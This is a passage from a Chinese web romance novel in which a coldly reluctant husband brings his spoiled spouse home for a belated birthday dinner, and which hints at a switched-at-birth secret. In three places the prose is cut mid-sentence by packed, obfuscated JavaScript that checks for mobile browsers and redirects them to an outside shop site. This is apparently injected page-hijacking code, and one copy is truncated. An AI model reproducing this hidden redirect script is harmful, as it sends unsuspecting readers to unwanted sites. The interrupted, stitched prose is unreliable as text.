他搂着江观潮的胳膊,哼着歌,心想:以前能让江观潮喂饭算什么?现在能让江观潮喂才算本事呢。反正他们也才二十多岁,以后还有很多时间,足够他焐热江观潮这块石头,让江观潮主动表白什么的,只要坚持,也不过是迟早的事情。 -- 去江家的路上,陈皓让司机顺路去了一趟老宅,又去朋友的酒吧拿了酒。在他的再三叮嘱下,准备好的礼物和酒数量多得惊人,堆满了整个后备箱,要不是今天特地开了SUV,还真不一定放得下。 饶是已经准备了这么多东西,陈皓还是忍不住有些担心,反复问江观潮他父母喜欢什么,弟弟妹妹能不能喝酒,又小声抱怨,说江观潮应该早点告诉自己,他也好提前做好准备。 江观潮面不改色地听他嘀嘀咕咕了一路,在陈皓伸手戳自己胳膊的时候,淡淡地说了一句:“都是一家人,没必要在乎那么多规矩。” 陈皓就不抱怨了,转而闹着要跟他十指交扣。江观潮依言将他的手指扣紧,终于让从上车起就一直叽叽喳喳个没完没了的小少爷安静了下来。 8.喜恶 江家位于市中心一座闹中取静的别墅区,四周绿树环绕,显得格外清幽。车子缓缓驶入小区,陈皓望着窗外的景色,事到临头,还是难免有些紧张。 这紧张不止因为这是他第一次正式以江观潮丈夫的身份登门拜访,更是因为他心里清楚,江观潮那个前未婚夫,很受江家人、尤其是江母的喜欢。 陈皓这辈子要风得风要雨得雨,集万千宠爱于一身,一辈子都被圈在温室里仔细养护着,受过最大的苦不过是江观潮的冷眼和无视。被宠坏了的小少爷,自然而然希望自己能得到重视对象的喜爱,比如江观潮,比如江观潮的亲人。 如今这份喜爱已先给过另一个人,便如同一根刺,深深扎在陈皓的心底,令他不可自控地希望将那人给比下去。 条件允许的话,陈皓并不介意装一回柔柔弱弱的乖学生,但他早在当年“强嫁”江观潮的时候,就已经把江家人上上下下全给得罪完了,这会儿再装,实在是没任何意义。 他心中左思右想,越发不安,低下头,开始玩江观潮的手指。玩了一会儿,侧头一看,却见江观潮正看着手机屏幕,不知正在回谁的消息。 陈皓还没开口,江观潮便似有所觉,点了发送键:“在和秘书确认明天的工作安排。” “……哦。”被主动报备的感觉真不错。陈皓忍不住勾了勾唇角,把脑袋靠在男人肩上:“你父母会不会不喜欢我啊。” 江观潮看了他一眼:“为什么这么问?” “因为……就以前那些事儿呗。”陈皓当年去江家堵人,为了逼迫江观潮就范,拿出的态度极其嚣张且不礼貌,造成的恶感自然也是成倍的,看这三年来江家人没一次出席过他家的私人宴会就知道了。 江观潮道:“不会。他们都为你补办生日宴了。” “要是他们只是看你的面子上,勉强才给我补办的呢?” “那又怎么样?”江观潮的语气没有任何改变,似乎觉得这个问题完全无关紧要:“你是和我结婚了,不是和我家里人结婚了。” 陈皓怔了怔。他到现在,仍然觉得江观潮态度转变得实在太突然,虽然被保护得很好,但陈皓并不是个完全的蠢货,心中对此自有一番猜测。 父母那边给江家施压了,直到自己生日愿望的大哥威胁江观潮了,江家出了什么资金链上的问题,江家弟弟妹妹出了事儿需要陈家的势力帮忙压着…… 反正不可能是突然开窍了,喜欢上自己了。 但他想出来的那些答案,又似乎哪个都不太对。昨晚的江观潮实在太过热情,今天的江观潮又这么温柔,怎么都不像是被逼迫威胁出来的结果。 他试探道:“所以,就算你家里人全都讨厌我,你也不会讨厌我?” 江观潮道:“别人的想法与我无关。” 却不想小少爷立马抓住了他话里的缝隙,凑上来,笑道:“所以你不讨厌我,对不对?” -- 江观潮讨不讨厌陈皓,这曾经是个不需要思考,就能立马给出答案的问题。 讨厌,并且是非常讨厌。理性又冷漠的江观潮,怎么可能不讨厌这个聒噪自我的、充满了不确定性的存在。 江观潮刚出生那会儿,江父江母的事业还在起步期。每天忙得脚不沾地,家里也没什么钱请专门的保姆,小江观潮今天在这个托儿所,明天在那个朋友家,上学后还因为父母工作变动,几个月一转学。等公司终于稳定下来,他的脾气性格也早已成型。 同样是江家的孩子,后出生的江云帆和江娴无忧无虑、性格开朗,江观潮却冷漠早熟,哪怕对着亲人,也始终客气疏离。江父江母对此一直十分愧疚,清楚自己亏欠了这个儿子,却不知道该怎么去弥补。 江观潮实在太懂事,也太聪明了。学习上不用操心,课余时间也有自己的规划,竞赛、奖项、义务活动,一样一样都安排得明明白白。等长大了些,用不着江父开口,他便自发开始学习起公司管理相关的知识,同龄人还凑在一起打台球玩赛车,他已经在长辈的酒会上学着敬酒应酬。 某个酒局后,江母曾握着他的手,问他累不累。 江观潮说,不累。 那种不累,不是说他不疲惫,而是他心中根本没有累这个概念。对于江观潮而言,他习惯了独自处理一切,童年父爱母爱的缺失,让他早早学会了不去依赖他人,也不会向任何人倾诉自己的脆弱。 即便对象是父母,也同样如此。 他利用学习来的知识,为自己规划出了一条最好的路,沿着这条路,他就能按照父母的期望,考入名校,不断积攒经验,成为公司的继承着,继而撑起整个江家。 江母要他和朋友家的样子结婚时,江观潮想也没想就同意了。 结婚这件事,同样在他的规划里。他不觉得自己会喜欢上谁,会对谁抱有特殊的情感,母亲既然有希望他与之结婚的对象,那他答应就是。 和谁结不是结呢?就像一个必要完成的任务,只要能打上代表完成的勾,江观潮一点儿都不在乎睡在自己身边的那个人,究竟是谁。 可陈皓出现了。 被宠坏了的小少爷如同一道小旋风,不容阻拦地闯进了他的生活,将他那套严明的规则、将他所有的规划,全都搅得天翻地覆,再无法恢复原状。 江观潮不是没有过热情似火的追求者,订婚以前,涌在他身边的狂蜂浪蝶数不胜数,但那些人被他拒绝无视几次,就会老老实实离开,再坚持一点儿的,江观潮眉头一皱,发几句话,也都会被吓跑。 陈皓却是个不折不扣的异类,骂不跑赶不走,冷漠无视统统没有意义。第一次见面,陈皓索要江观潮的联系方式无果,却不怒反笑,抬着下巴抱着手臂,笑吟吟地告诉他:“我想要的东西,从没有得不到的。” 被称为“东西”的江观潮,只觉得这人脑子有病,转头就将其忘在脑后。 却不想“相遇”还有第二次、第三次……第无数次。 陈皓拿江父江母的公司威胁江观潮就范的那天,江观潮头回失态了,他的怒火烦躁积攒到了极点,一把揪住了小少爷的衣服领子,将人抵在墙上,骂他,质问他恶不恶心。 陈皓笑嘻嘻地说:“有什么恶心的,我就是喜欢你,只要能得到你,我什么事儿都做得出来。” 江观潮冷冷道:“我这辈子都不可能喜欢上你。” “那可不一定,只要你一直在我身边,日久天长的,万一呢?”陈皓懒洋洋道:“别挣扎啦,为了你们家好,赶紧和你那个未婚夫解除婚约,和我在一起吧。” 江观潮烦不胜烦,却不得不承认,陈皓是对的。陈家与江家而言,就像是拧不过的大腿,再怎么挣扎,在小少爷的坚持下,也只能认命。 他解除了婚约,牵着陈皓的手,走进了婚礼的殿堂,在无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900212|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数宾客的祝福中,强忍反感与不耐,吻住了陈皓的唇。 那时,江观潮想,他这辈子都不会喜欢上陈皓。 他以为小少爷之所以和自己结婚,不过是因为一时冲动,等新鲜感过了,自然而然就会离开自己。 但几年过去,陈皓对他的热情和态度,仍如他们初见那般鲜活。三年来,无数次冷眼,无数次远离,现在只是稍微放软态度,陈皓就立马黏上来,仿佛过去那些冷待从未有过。 他似乎也知道他不喜欢他,便只是眼巴巴地问,是不是“不讨厌他”。 而江观潮重活一世,于是原以为不可能改变的答案也有了不同。 “……不讨厌。”江观潮说。 “真的?”陈皓捏他的手:“那我下次去公司找你,不准再装不在了。” 江观潮道:“等回去了,我把专用电梯的副卡给你一张。” 陈皓打蛇顺杆爬:“那你办公室的钥匙也得给我。” “可以。” 陈皓“嘿嘿”笑了一声,一扬眉毛:“你看,江观潮,我就说吧。” 江观潮瞥他:“说什么?” “只要你一直在我身边,总会喜欢上我的。”陈皓戳了戳他的肩膀:“你看,现在你已经不讨厌我了,再过几年……哼哼。” 江观潮看了他一会儿,移开视线。 陈皓曾说过,江观潮是他的初恋,在此之前,没有遇见过喜欢的人,更没有谈过恋爱。 在他心里,江观潮填满了“爱情”那部分的全部空白。 陈皓家里有钱长得漂亮,没事儿就和圈子里那群狐朋狗友们混在一起出入各种声色场所,又胆子大得很,什么都敢玩,因此江观潮从没有把这句“初恋”放在心上过。 但现在看来,小少爷在感情方面确实是白纸一张。否则自己做了那么多,傻瓜都该明白,他对他,早就不只是“不讨厌”而已了。 -- 时值傍晚,晚霞温柔地染红了天空的每一寸角落。黑色的商务SUV穿过一段树林茂盛的小路,便停在了江家的别墅门前,这里周围没有邻居,隐私性极好,环境也十分清幽雅静。 车子刚停稳,江观潮就看见大门被打开,江父江母一同走出来,他们身后,江云帆手里捧着蛋糕,江娴手里拿着相机,俨然已做足了准备。 陈皓本以为这场补办的生日宴,就是江观潮所说的那样,一起吃个饭,说两句客气话。结果竟然是全家齐上阵,不由得呆了一下。 江观潮看家里四个人满脸好奇地往这边望,就知道江云帆那小子肯定在转述过程中添油加醋了许多。他解了安全带,打开车门,下车,却没有走开,而是扶着车门,朝陈皓伸出手:“来。” 陈皓回神,赶紧手忙脚乱地解了安全带,拉住江观潮的手,小声道:“我自己可以的。” 江观潮道:“我知道。” 陈皓愣了一下,才反应过来,脸上绽开笑容:“哦,我懂了。江观潮,你是想通过对我好一点儿,让你家里人知道你的态度,也好好对待我,是不是?” 江观潮看着小少爷灿烂且充满得色的笑容,突然收回手,朝别墅大门走去。 陈皓立马上前几步,挽住了他的胳膊:“别害羞嘛,以后这话我只自己在心里想,好嘛?……江观潮,你走慢点儿,我跟不上。” 江观潮没有说话,步子却真的放慢了几分。 9.江家 别墅门口,江父江母看着自家大儿子与陈小少爷拉拉扯扯地走过来,不由得对视一眼,都看到了彼此眼中的诧异。 今天早晨,江云帆从卧室里走出来,一边打哈欠一边揉着眼睛告诉他们,大哥晚上要带陈小少爷回家吃饭,让他们有什么安排都赶紧推了,最好再去买点东西,昨天他们一家人缺席了陈皓的生日宴会,今晚正好都给补上。 江父江母当时还以为二儿子是没睡醒在说梦话,江娴更是在一阵愣神后毫不客气地拍着桌子大笑起来,表示这比之前那个有关“某某奶粉”的笑话好笑多了,要江云帆再接再厉,以尽早成为脱口秀高手。 等江云帆一脸生无可恋地跑去厨房让家里阿姨赶紧去采买食材,又吩咐管家安排晚餐事宜,订蛋糕和礼物,他们才终于收起笑意,意识到这不是什么玩笑。 江观潮的性子有多冷,这世上不可能有人比他们这些亲人更了解。他就像是一座精密的机器,永远一板一眼地走在计划好的道路上,学习、工作,没有兴趣没有爱好,对任何人事物都淡淡的,仿佛不存在个人的喜恶。 哪怕是小时候被宠成了熊孩子的江云帆和江娴,都不敢对着自己这个大哥耍性子或撒娇。江父江母倒是有心想要弥补,可江观潮却在他们几次尝试后,直白地告诉他们,不要再这么做。 就像有一道无形的透明屏障,永远地将江观潮的心隔在了里面,令他远离喜怒哀乐,令他不再表露自己的情感。尽管江观潮懂事至极,无论是学业还是事业都从未要他们担过心,甚至还乖顺地接受了他们给予的所有安排,江父江母也看得出来,比起孝心或顺从,江观潮的懂事更像是一种漠然的无所谓。 这让江母多少有些焦虑和担忧,害怕自己的宝贝儿子会因为自己和丈夫在他童年时的缺席与疏忽,就这么一直孤独下去。在一次聚会聊天时,她听说朋友的小孩儿在结婚后,在爱情的滋养下变得开朗爱笑,于是也活泛了心思。 正巧,先前替他们抚养了江观潮一段时间的朋友从国外回来,听到她的想法,哈哈大笑起来,说:“这还用你发愁?我家小孩儿喜欢你儿子很久啦,两个人竹马竹马,不正合适?” 江母当时简直豁然开朗,立马将这件事说给了江观潮听。 彼时江观潮正在大学图书馆里写论文,语气平淡地像是江母是在和自己讨论今天的天气:“您决定就好。” 后来的订婚宴上,江母看着朋友家的小孩儿满脸害羞地坐在江观潮身边,一边摆弄着衣角一边说着什么,而江观潮神情冷淡,却也没有忽视对方,每一句话都给了回应。 那时她感到十分欣慰,以为这就是大儿子的改变,心想婚姻和陪伴一定能让江观潮不再那么孤独。 也正因如此,在陈皓突然出现,并毫不客气地让这段婚约化为乌有时,江母是最气愤也最伤心的那个人。而后来陈皓拿他们家的公司做威胁的行为,以及江观潮的抗拒和反感,也让他们家人对这个小少爷观感降低到了极点。 谁知江观潮这些年里头一回对家里提出要求,就是给小少爷补过生日。江家人一边照办,一边猜测是不是陈家那边因为他们这几年的缺席,又给了江观潮什么压力。于是这场补办的生日宴准备的十分万全,每一个细节都做到了最好,就是为了不让小少爷挑出刺来。 但眼前的情况完全出乎了他们的意料。 只见一身白色西装、宛如小王子的陈皓被牵下车后,不知说了什么,让江观潮生气般松了手,径直离开。 小少爷被撂了脸子竟也不恼,快走几步追上了一脸冷漠的男人,搂住了他的胳膊,眨巴着眼睛,说了几句像是撒娇的话。江观潮没有回应,但步子肉眼可见地放慢了,握住小少爷的手,与其十指交扣。 “我靠。”江娴忍不住骂了一句:“我其实还没睡醒吧,要不我回去再睡会儿?” 江父江母竟也少有地没有训斥女儿的粗口,只是不约而同地认真打量大儿子的表情,试图从中找到胁迫的痕迹。 只有提前震惊过了的江云帆此刻还算平静,他已经接受了眼前的现实,此时还能有闲心踹一脚旁边的妹妹:“准备拍照。” “啊?哦……”江娴打开相机,“天,这世界上原来真有人敢对大哥撒娇,我已经开始佩服了。” “你大哥又不是什么妖魔鬼怪,有什么敢不敢的?”江母回过神,拍了身边的女儿一下。 江娴想起小时候的经历,感慨道:“确实,妖魔鬼怪可没大哥可怕。” 正说着,江观潮和陈皓已经走到了他们面前,江云帆瞅准时机,往前一步朝着他们的上方拉开手中的礼炮,纷飞的彩带中,江娴举起相机,将面无表情的江观潮和惊讶又开心的陈皓定格在取景框中。 “生日快乐,小陈少。”毕竟不够亲近,甚至昨天之前还是私下里面都不想见的关系,江云帆拉完礼炮,思来想去,也只能想出这么一个不三不四的称呼。 好在陈皓还是很有自知之明的,对此没什么意见,摘下头发上的彩带,还没开口,便听江观潮道:“叫哥夫。” 江云帆张了张嘴,脸上短暂地出现了一片空白,倒是旁边江娴十分机灵地凑上来,甜甜地喊了一句:“哥夫!生日快乐!” 于是江云帆也老老实实喊道:“生日快乐,哥夫。” 陈皓被两句“哥夫”喊得心花怒放,仿佛终于得到了某种承认,他一拍江观潮的手臂,主动挣开了男人的手,然后变魔术般从西装内袋里拿出了两个红包,一左一右递了出去:“来来来,拿着拿着。” 江云帆和江娴都下意识抬头,去看江观潮的脸。 江观潮道:“拿着吧。” 他们这才伸手接过,并乖乖道:“谢谢哥夫。” 陈皓看着,不由得笑了起来,重新搂住江观潮的胳膊,笑着戳他:“江观潮,弟弟妹妹都好听你的话啊,是不是你平时太凶了啊。” 他似乎知道江观潮今天一定会在家人面前给足自己面子,于是撒起娇来越发肆无忌惮。江观潮果然也没说什么,只是握住他作乱的手,看向一旁满脸复杂的父母。 “爸、妈。”江观潮似乎在犹豫什么,停顿了一下,才接着道:“昨天皓皓生日宴,你们有事没来,他挺失望的。” 这话一出,在场所有人都愣住了。 江家人是因为江观潮说这话时,语气亲昵中带着维护,竟是用这种方式直白地表明了态度:他没有被逼迫或威胁,他是真的喜欢陈皓,才带他回家的。 陈皓的怔愣,则单纯是因为江观潮对自己的称呼。 皓皓。 这个小名,他爸喊过他妈喊过,他大哥更是喊过无数回。可这两个字到了江观潮的嘴里,却让他感到一阵幸福的头晕目眩,仿佛有一道电流顺着脊柱向上,最终在他的脑海里炸开绚烂的烟花。 要不是这会儿在江观潮的父母家,陈皓已经搂住江观潮的脖子,狠狠地亲他了。 无论江观潮的态度是为了什么改变,能听到他如此温柔地喊他小名,陈皓就感觉自己已没有任何缺憾了。 “观潮说得对,是我们疏忽了。”江父率先开口,语气温和,看向陈皓的目光也比往日多了几分真切的笑意,“皓皓,生日快乐。昨天公司那边临时有急事,实在脱不开身,别往心里去。” 江母也反应过来,柔声道:“生日快乐,皓皓,叔叔阿姨都给你准备了礼物,待会儿拿给你,看看喜不喜欢。快进来吧,别在门口站着了。” 陈皓在众星捧月中长大,受过追捧无数,此时此刻却还是忍不住有些受宠若惊。他连忙点头应下,又在江家人都走进门时,转头小声朝江观潮道:“你怎么突然叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901905|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我小名啊,吓了我一跳。” 江观潮单纯是不想父母也跟着喊什么“小陈少”,又猜测陈皓不愿听到被喊全名,这才率先喊出了陈皓的小名,借以暗示父母该如何称呼自己身边这个小少爷。 他问:“不喜欢?” “喜欢死了!”陈皓道:“以后你都这么喊我,好不好?” 江观潮抿了下唇。 陈皓却不愿轻易放过这个机会,生怕这次过了,以后江观潮还是要叫他“陈皓”或“陈少”,便抓着他的胳膊一通晃:“好不好嘛!快说快说!” 江观潮无可奈何:“……好。” “那你再叫我一次。” “皓皓。” 陈皓目的达成,这才露出满意的笑,身后仿佛出现了无形的小尾巴,正翘起来,得意地晃来晃去。 走进客厅后,距离晚饭还有一段时间,江观潮说要带陈皓去自己的房间看看,然后便领着人上了楼,留江家四口人在沙发上面面相觑。 江娴想起方才无意间回头时看见的情景,一边低头查看相机,一边感慨道:“妈呀,世界上恐怕也只有哥夫敢向大哥这么撒娇了。” 江云帆则道:“所以这不可能是梦,做梦绝对没这么荒唐。” “确实。”江娴压低声音:“所以……大哥这是突然认清了内心,玩了一出先婚后爱?合着那位前哥夫就是打个酱油,小陈少才是大哥的真爱?” 江云帆摇摇头表示不清楚,拆开手上的红包看了眼,然后忍不住“靠”了一声。 陈皓塞过来的红包并不厚,江云帆便没放心上,结果现在打开一看,才发现里面装着的不是现金,而是支票。 江家虽然富裕且宠孩子,但还没到会无条件支持所有不合理开销的地步,平日里零用钱给的数字刚好卡在宽裕但不足够花天酒地的线上。江云帆抽出支票看了眼上面的数字,立马认真道:“我将永远维护哥夫。” “见钱眼开的没用东西。”江娴翻了个白眼,毫不客气地怼了二哥一句,然后跟着抽出支票,一看,口风立马改变:“我也将永远维护哥夫。” 那边两个小的已经轻而易举地被金钱收买,这边江母却还有些愁眉不展,握着丈夫的手:“老公,你说观潮他是怎么了?是不是陈家那边……” 江父拍了拍妻子的后背以示安慰:“别多想,可能咱们儿子终于开窍了,认清了自己喜欢的对象。” “那也不可能这么突然啊!你知道观潮的性子的,就算要变也肯定需要很多时间。两个月前他还那么讨厌陈皓,今天就带着人回家,还是在生日宴以后。你说我能不多想吗!” “妈,”江娴突然开口:“大哥肯定是喜欢哥夫的。” 江母看向女儿,仍然愁容不展:“为什么这么说?” 江娴把手里相机递出来:“喏,要不是喜欢,哥夫的脖子哪可能这样?” 江母接过来。只见相机屏幕上,江观潮和陈皓紧紧靠在一起,方才太过惊讶,江母一时没来得及仔细看,这时见到照片,她才发现,自己那向来对什么都漠然不在乎的大儿子,在陈皓身边时,尽管面无表情,身体却是放松的。 而小少爷衬衫领口未能完全掩住的皮肤上,粉色的痕迹与齿印层层叠叠,不难看出,始作俑者在印下这些痕迹时,究竟怀着怎样的热情与怜爱。 江母见状,眉头终于是松开了:“观潮喜欢就好。”将相机放到桌上,却又忍不住开始担心起另一件事:“那我之前让观潮和小橙订婚,是不是……” “别想啦,妈,说不定你不让他们订婚,大哥还遇不见哥夫呢!现在是好的不就行了?”江娴大咧咧道,伸了个懒腰,顺势扑进母亲怀里。 江母笑着搂住女儿,给她理了理头发,轻声道:“你大哥终于有喜欢的人了,这样我就放心了。” 10.认可 进门后,陈皓连坐都不坐一下,就闹着要参观江观潮的房间。江观潮便直接带着他上了楼。却见推开卧室门后,小少爷率先钻进房间,认认真真地将各个角落仔细看了一遍,又将占据了正面墙的偌大书架从头到尾粗略扫过,最后转过头,脸上带着不作假的疑惑:“江观潮,你的个人物品全都拿走了吗?” 也不怪他有这样的疑问,这房间里的陈设实在太过单调,黑白灰三色填满了整个房间,桌椅床铺,外加一座巨大的书架,就是所有的家具。书架上全是枯燥乏味的专业书籍,没有任何摆件,也没有装饰物,想从这些物件里看出房间主人有什么个人爱好,哪怕是世界最顶尖的侦探也做不到。 反观他们婚后同居的住处,绿植花束和各种乱七八糟的摆件模型填满了家里的每个角落,甚至有一段时间陈皓帮兄弟的小女友收集毛绒玩具,自己也跟着买了一大堆,沙发上、窗台上、江观潮的书房里,都能看到那些毛绒玩具的身影。照片与相框更是不可或缺的存在,定格的画面上,他们一起滑雪、一起赛车、一起游泳…… 江观潮原先没在意过这些细节,被陈皓问到,才忽然后知后觉地明白了,为什么离开的那四年里,他会那么不习惯、总不受控制地想陈皓。 嚣张霸道的小少爷无视了所有人、包括江观潮的想法,大张旗鼓地闯进了他无色空洞的世界。在江观潮意识到之前,陈皓就已用时间和无数回忆填满了他们的生活。 他将陈皓推出了他的世界,便让所有的颜色跟着褪去,理性告诉他这是对的,可体验过了彩色世界的心,怎会甘心在黑白灰中继续跳动。 “没有。”江观潮说:“我的房间就是这样。” 陈皓看起来非常难以置信:“从小到大都这样?” 江观潮不知怎么,莫名有点焦躁,动了动手指:“嗯。” 一个从未想过的问题突兀地浮现在他的脑海:他这样是不是很无趣? “照片呢?照片也没有?”陈皓不甘心似得,继续追问。 “没有。”江观潮道。 陈皓重重叹了口气,站直身体,活动了下脖子:“也是,你不喜欢拍照嘛。算了,走吧,我们下楼。” “不继续看了?” “有什么好看的?一眼就看完了好不好。”陈皓走上前,握住江观潮的手:“你爸妈还在下面呢,别让他们等急了……” 江观潮却一把将他拉回怀里,压在门上,低头吮住了他饱满的唇瓣。舌尖灵活挑开齿关,探入深处。 陈皓明显吃了一惊,不过他很快就眯起眼,享受起这个突如其来的亲吻,还抬起手,搂住了江观潮的脖子。 一吻毕,陈皓舔了舔唇,笑着道:“在从小长大的房间里亲你的丈夫,滋味怎么样?” 江观潮眉头微动。 陈皓没等他回答,又自顾自惋惜道:“可惜这里连张你的照片都没有,不然就能知道小时候的你是什么样的了。” 江观潮随手帮他把额前的碎发拨开:“你想来我房间,就是为了知道小时候我是什么样的?” 当然不止,陈皓原本还想看看里面是不是还留着有关那个竹马竹马的前未婚夫的东西,但现在答案已经很明显,他也不想提那个人,便笑了笑:“对啊,结果什么都没有。你们家有没有家庭相册什么的,我是真的很想看。” 江观潮想了想:“我的初高中毕业照应该还留着。” 陈皓眼睛一亮:“让我看!你快去找!” 江观潮便走进房间,在书架前停下。 曾经不知多少夜晚,他在这个房间里刻苦学习,榨出知识,装进脑海,不知痛苦,不觉乏味。江观潮曾以为那是平静,可重生以后,再站在这间房间里,江观潮才发觉,那不过是一种麻木。 小少爷从身后拥上来,暖洋洋的体温覆在他的背上。江观潮垂眸,指尖划过一列列书籍,在其中一本的书脊上停下。抽出书册,他翻了一下,两张当年被随手夹进的照片就掉了出来。 陈皓立马扑上去,将照片捡起,仔细一看,然后像是发现新大陆一般瞪大眼睛:“等等,江观潮,你还戴过眼镜?!” 江观潮说:“是平光镜。” “原来你也会想要改变形象啊。”陈皓笑着打量着照片上站在人群最前方,戴着眼镜抿着唇的帅气少年,忽然又想到了什么,笑意淡了几分,轻哼一声:“要是我和你上的是同个初高中就好了。” 江观潮道:“不可能的。” “为什么不可能?”陈皓猛地回头,瞪着江观潮,明明刚刚还笑得开心,这会儿却又不知缘由地生了气:“是觉得我碍着你事了?” “我上的是市重点。”江观潮道:“你的成绩不够。” “……”陈皓回想了下自己高中时的成绩单,耳尖红了红:“那是因为我接受的是素质教育,不是应试教育。你就说,如果可能,你愿不愿意?” 江观潮认真想了想。 阳光洒满的教室里,堆满桌面的试卷和练习册,学完了学校的课程,却还要继续学习公司的事务,漫长的道路,仿佛怎么努力都没有尽头。 但一转头,就能看到小少爷灿烂的笑脸,手指牵着他的校服袖口,小声让他陪他一起翘课出去玩。 江观潮说:“我会陪你一起坐教室最后排。” 陈皓歪了歪脑袋,不解地问道:“为什么是最后排?” “因为你一定会一直找我说小话,还会想要翘课,坐后面最不容易被发现。” “哪有!我才没——”陈皓想起自己高中的出勤率,顿了一顿,“……没那么经常翘课。” 江观潮合上手中的书,放回书架,唇角弯了弯。 陈皓却因为纠结自己的高中生活,刚好错过了这不易察觉的弧度,最后他破罐子破摔道:“反正你就说,你愿不愿意陪我一起翘课被记过?” “你不会被记过的。” “为什么?”陈皓眨眨眼:“因为你会管着我吗?” “我是学生会长。”江观潮说:“我不会让下面的人记我们的名字。” 不是“你的名字”,而是“我们的名字”。 陈皓眼睛亮起,照片一扔,扑进江观潮的怀里。 “我喜欢死了江观潮!”小少爷说:“喜欢喜欢喜欢!” 江观潮搂住他,摸了摸他的头发,像是在安抚一只过度兴奋的小兽。 -- “……就是这样,然后我哥和哥夫就抱在了一起。” 几分钟前自告奋勇上楼喊两人吃饭的江娴坐在餐桌旁,绘声绘色地转述着自己方才看到的场景。 江云帆坐在她旁边,一边嗑瓜子,一边摇头感慨:“爱情,让人变得不像自己……” “是啊,真是太可怕了。”江娴一副心有余悸的样子,拍了拍胸口:“这世上竟然有个人能让我哥去哄他,不过这下大家都把心放肚子里去吧,我哥肯定不是被逼的。” 江母这会儿神情也放和缓了许多,笑了笑,转头朝保姆道:“张姨,麻烦你去我卧室把床头柜里的那个红盒子拿出来。” 保姆跟了江母许多年,一听就知道是什么东西,笑着应下。 “怎么啦,什么东西啊?”江娴好奇道。 江母拿起桌上的茶抿了口:“一个玉坠,你祖母传给我的。” 江娴懂了:“就是给未来儿媳妇准备的呗。妈,你可不能偏心哦。” 江母笑着道:“当然不偏心,以后你和云帆结婚了,妈也准备了东西。” “我就知道妈最爱我了,”江娴道:“不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,她仿佛再也支撑不下去了,扑到一旁的丈夫怀里,呜咽着大哭出声。 陈知国搂住妻子,看向面前的长子,眉头紧皱:“绪文,那孩子已经知道结果了吗?” “知道了。”陈绪文揉了揉眉心,“他和我一起去拿的结果。” 陈夫人闻言,抬起头,哽咽道:“那……那他是不是很恨我们……” “不。”陈绪文想起医院里那身形单薄的柔弱青年,按了按眉心:“他说,当年的事我们不知情,而且他一直很想要见到亲生的父母,也很想要一个哥哥。” 陈夫人脸上宽慰的表情还没露出来,陈知国便皱眉道:“那皓皓呢?” 陈绪文没说话。 但答案已从他的沉默中给了出来。 陈知国闭了闭眼:“江家那小子藏得真够深的,这件事,他恐怕早就知道了。” 陈绪文转头,看向落地窗外的夜色,在玻璃的反光中,他看见自己眉头紧锁。 谁能想到,陈家捧在手心宠了二十三年的幺子,其实是个被抱错的假少爷。而流落在外的真少爷,则阴差阳错地在三年前,被陈家幺子动用家中权势,强行抢走了心爱的未婚夫。 “大哥。”医院里,青年所说的话再度浮现于陈绪文耳畔:“我不怪你和爸妈,但我实在没办法原谅陈皓,他让我和我爱的人,都受了好多苦……” 于是江观潮那天所问的问题,不容越过地摆在了陈家人面前。 如果一定要在陈皓和亲生孩子之间选一个,该怎么选? 其实答案很明确。 手心手背都是肉,但手心和手背,终究是有差别的。 11.身世 从江家回去的路上,陈皓一直爱不释手地摆弄着已经挂在脖子上的吊坠,那是一枚种水极好的和田玉无事牌,由与金链绕在一起的红绳挂着,垂在他洁白无瑕的锁骨前,极为好看。 他晚上本来想开怀畅饮,结果江观潮的手在他杯子上一盖,说他昨晚喝得已经够多了,他就再想不起什么酒了。这会儿顶多只是微醺,一边玩着玉牌,一边懒洋洋地往旁边靠了过去。 若是以前,他敢带着酒气靠近江观潮,试图进行身体接触,一定早就被推开,说不准还要被送上几句冷言冷语。 但现在,江观潮不仅伸出手臂,将他搂进了怀里,还帮他盖紧了身上的毯子。 陈皓一直不喜欢暖气或空调,在那样的环境里,他会觉得非常闷,头晕,喘不过来气。母亲说还好他没出生在北省,不然零下几十度的天气,不开暖气睡觉都要被冻醒。却不想,江观潮不仅记住了他的这个毛病,还在车上准备了毯子。 窝在男人怀里,陈皓惬意地眯起了眼。 他不想去深究江观潮变化的原因,若是答案并非他想要的,那岂不是给自己徒增烦恼?以前的江观潮和前任的事,他也不想继续深究,甚至连有关的话题都不想提起。陈皓只想紧盯着自己现在所拥有的,并将其牢牢抓在手里。 此刻是他的,以后也是他的,那就足够了。 “江观潮,”陈皓抱着自己丈夫的腰,手掌不老实地隔着衬衫,在那紧实分明的腹肌上来回抚摸:“等会儿你抱我下车好不好?” 江观潮回想了下刚刚晚饭时的情形,问:“你不是没喝多少酒吗?” “我是没喝多少啊,”陈皓理直气壮:“我就是不想自己走路。” 在温室里被宠坏了的小少爷总是越宠越娇气的,饭要人喂,手要牵着,还没事就得亲亲。现在更是连路都不想走了,要人抱着。 